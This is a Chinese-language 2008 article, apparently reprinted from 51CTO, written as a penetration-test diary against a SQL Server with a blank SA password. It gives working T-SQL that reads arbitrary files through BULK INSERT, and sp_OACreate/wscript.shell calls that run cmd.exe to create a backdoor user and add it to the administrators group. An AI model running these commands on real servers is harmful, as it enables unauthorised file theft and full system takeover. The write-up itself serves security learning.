科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道SQL Server SA空口令的渗透测试日记

SQL Server SA空口令的渗透测试日记

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

本文介绍了一种利用存储过程控制SA为空的SQLServer服务器的方法。

作者:小王 来源:51CTO 2008年7月4日

关键字: SA口令 SQL Server 数据库安全

  • 评论
  • 分享微博
  • 分享邮件

  前几天朋友找我,让我帮忙测试一下他们的服务器,经过扫描后发现SQLServer的SA为空,决定利用这个漏洞做渗透测试。经过测试发现存储过程Xp_cmdshell以及读取注册表系列的存储过程都被删除了,并且Xplog70.dll也被删除,所以无法执行CMD命令和克隆管理员帐号了,看样子是经过安全配置的,这种情况据我当时掌握的知识是没办法入侵的。以前也遇到过类似的机器,所以决定利用几天的时间解决这个问题。

  经过两天的查阅资料和测试,实现了不需要使用任何SQLServer自带的存储过程就可以从目标机上得到txt、asp等类型文件的内容(前提是知道SA密码或者SA密码为空),实现过程就是自己建立一个临时表,然后将文件读到表中,再用SELECT语句得到返回值,即文件的内容。我们可以在查询分析器里先写入一个存储过程,然后执行,在需要的时候只要调用该存储过程即可:

  Create proc sp_readTextFile @filename sysname

  as

  begin

  set nocount on

  Create table #tempfile (line varchar(8000))

  exec ('bulk insert #tempfile from "' + @filename + '"')

  select * from #tempfile

  drop table #tempfile

  End

  go

  这样我们只要执行类似下面的语句就可以得到指定路径下文件的内容:

  exec sp_readTextFile 'c:\aaa.asp'

  实现这个功能后,本打算通过读取朋友服务器上网站的asp代码,做进一步的入侵,可是后来发现,因为不知道网站asp文件的绝对路径,所以这个功能根本用不上,只好作罢,另找其他方法。在这之后的几天时间里,我想到了使用安全文章经常提到OLE相关的一系列存储过程,这一系列的存储过程同Xp_cmdshell以及读取注册表系列的存储过程一样危险,但是其使用方法不象那些存储过程在网络上和书上介绍的那样多,这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,下面我讲一下通过查阅资料得到的使用方法:

  打开查询分析器,然后使用SA与目标机连接上,在查询分析器里执行:

  DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC

  SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user

  ceshi 1 /add'--

  这样对方系统增加了一个用户名为ceshi,密码为1的用户,再执行:

  DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC

  SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup

  administrators ceshi /add '--

  用户ceshi,被加入管理员组。

  总结:通过这次渗透测试,又学到了一种利用存储过程控制SA为空的SQLServer服务器的方法。

  【51CTO.COM 独家特稿,转载请注明出处及作者!】

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章